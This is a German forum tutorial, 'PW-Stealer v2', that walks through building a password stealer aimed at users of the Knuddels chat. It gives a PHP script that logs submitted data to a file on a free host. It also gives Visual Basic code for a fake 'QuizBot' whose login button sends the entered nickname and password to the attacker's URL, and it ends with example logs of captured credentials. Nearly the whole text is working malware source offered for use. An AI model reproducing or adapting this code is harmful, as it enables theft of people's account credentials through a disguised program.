Tutorial's von A - Z (www.Knuddels.de.ch.at.MFC)

[VB-TUT] PW-Stealer v2

Guten Abend,
ich habe soeben ein neuen PW-Stealer geschrieben, ziemlich simple meiner Meinung nach!
Fangen wir mal an!

Was wir brauchen:
- Visual Basic 2005
- FileZilla (Klick to Download)
- 5 Minuten Zeit

Schritt 1 - PHP:
Also, wir erstellen ein neues Textdokument, welches wir "Passwort.php" nennen und folgenden Code reinschreiben:

PHP-Code:

 			 <?php

    $datei = fopen("Passwort.html", "a");

    fwrite($datei, $_REQUEST["add"]);

    fclose($datei);

?>

Nun erstellen wir erneut ein neues Textdokument, welches wir "Passwort.html" nennen und nichts eintragen!

Diese zwei Dateien ziehen wir nun auf unseren Server.. (funpic.de / ohost.de)

Schritt 2 - Visual Basic:
Nun öffnen wir Visual Basic 2005 und erstellen ein neues Projekt, welches wir "QuizBot v2.0" oder ähnlich nennen!

Jetzt kommen wir zum Aussehen des Botes!
Ihr zieht folgendes auf die Form:
- 7 Labels (Label1 = Nickname; Label2 = Passwort; Label3 = Channel; Label4 = URL; Label5 = Gespeicherte Antworten; Label6 = "KEIN TEXT" - LEER LASSEN"; Label7 = LEER LASSEN)
- 3 Buttons (Button1 = Einloggen; Button2 = Ausloggen; Button3 = Update)
- 4 TextBoxen (TextBox1 = Nickname; TextBox2 = Passwort; TextBox3 = Channel; TextBox4 = URL)

Machen wir weiter mit den Codes..
Ihr macht einen Doppelklick auf Button1 (Einloggen) und schreibt folgendes hinein:

Code:

Dim add As String = "[" & TimeOfDay & "]" & "<br>" & "Nickname: " & TextBox1.Text & "<br>" & "Passwort: " & TextBox2.Text & "<br><br>"
        Dim client As New Net.WebClient
        client.DownloadData("http://deineurl.de/Passwort.php?add=" & add)
        Label7.Visible = False

Jetzt noch deineurl.de durch eure URL ersetzten!

Nun macht ihr einen Doppelklick auf Button2 (Ausloggen) und schreibt folgenden Code hinein:

Code:

If Label7.Visible = False Then
            MsgBox("Erfolgreich ausgeloggt!")
        End If
        If Label7.Visible = True Then
            MsgBox("Überprüfen sie bitte, ob sie eingeloggt sind!")
        End If

Jetzt fügt ihr über "Public Class Form1" eine Deklaration ein:

Code:

Imports System.Net
Imports System.Io

Als nächstes macht ihr einen Doppelklick auf den Button3 (Update) und schreibt folgenden Code hinein:

Code:

Dim webreq As WebRequest = WebRequest.Create(TextBox4.Text & "?action=count")
        Dim webres As WebResponse = webreq.GetResponse
        Dim reader As StreamReader = New StreamReader(webres.GetResponseStream)
        Dim right As String = reader.ReadLine
        Label7.Text = reader.ReadLine()

Durch diesen Code wird die echte Anzahl der Quizsätze angezeigt.

Das war es auch schon..
Mein "Bot" sieht so aus:

Screen

This image has been resized. Click this bar to view the full image. The original image is sized 675x436.

Auf dem Server (der .html-Datei) sieht es wie folgt aus:

Zitat:

[23:19:21]
Nickname: M4 Beatz
Passwort: Passwort test

[23:19:38]
Nickname: M4 Beatz
Passwort: aaaaaaaaa

[23:19:59]
Nickname: M4 Beatz
Passwort: bbbbbbbbbb

Ich hoffe das Tutorial hat euch geholfen!